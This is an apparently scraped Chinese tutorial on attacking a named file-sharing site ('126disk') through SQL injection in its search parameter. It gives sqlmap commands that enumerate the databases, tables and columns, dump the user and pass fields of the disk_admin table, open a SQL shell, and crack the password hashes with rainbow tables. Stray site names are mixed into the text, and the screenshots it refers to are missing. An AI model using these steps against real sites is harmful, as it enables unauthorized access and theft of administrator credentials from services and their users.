我们在126disk网盘搜索框里输入helloworld’，查看结果，?shareid=63647&uk=537055152，直接把错误报出来，说明对我们输入的单引号进行了解析，web程序的查询sql语法，报出错误。我们可以手动去探测，利用union这个命令去返回我们想要的数据。这里用sqlmap自动化去探测。
1， 找到注入点的url，这里的查询用的get方法，url为?key=helloworld, Backtrack中的sqlmap默认路径为/pentest/database/sqlmap，也可以自己去网上免费下载。命令：
./sqlmap.py -u ?key=helloworld –dbs,该条命令是探测数据库用的。易踪网探测结果如图：
，我们看到数据库为mysql，操作系统为win2003/' target='_blank'>windows2003，涛涛电脑知识网，服务器为IIS6，涛涛电脑知识网，用的php的技术，探测到126disk这个数据库，information_schema库是mysql的系统库，存有一些用户，和表等信息。
2， 探测表名，我们探测到了数据库名，接下来探测表名。命令：
./sqlmap.py -u ?key=helloworld -D 126disk –table，易踪网探测结果如下：
，我们可以看到共24张表。
3， 探测列名，探测到了数据库和表名，我们接下来探测感兴趣的表的列名。我们来探测disk_admin表中的列名。命令：
./sqlmap.py -u ?key=helloworld -D 126disk -T disk_admin –columns，易踪网探测结果如下：
，我们可以看到该表中由我们感兴趣的user和pass列。
4， 探测数据，接下来我们探测数据库中的用户数据，命令：./sqlmap.py -u ?key=helloworld -D 126disk -T disk_admin -C user,pass –dump，这样我们就可以探测disk_admin中的user和pass列的数据了。这里探测结果就不贴图了。现在的网站一般都不会保存明文密码，一般时md5或者sha1加密，有时还可能会有salt值，想看明文的话，去下个彩虹表去破解吧。
sqlmap还有些特别有意思的参数，如–current-user,可以查看当前登录数据库的用户，–sql-shell是建立一个sql的shell，有了这个shell我们就可以方便的运行sql命令了。命令：
./sqlmap.py -u ?key=helloworld –sql-shell，截图如：
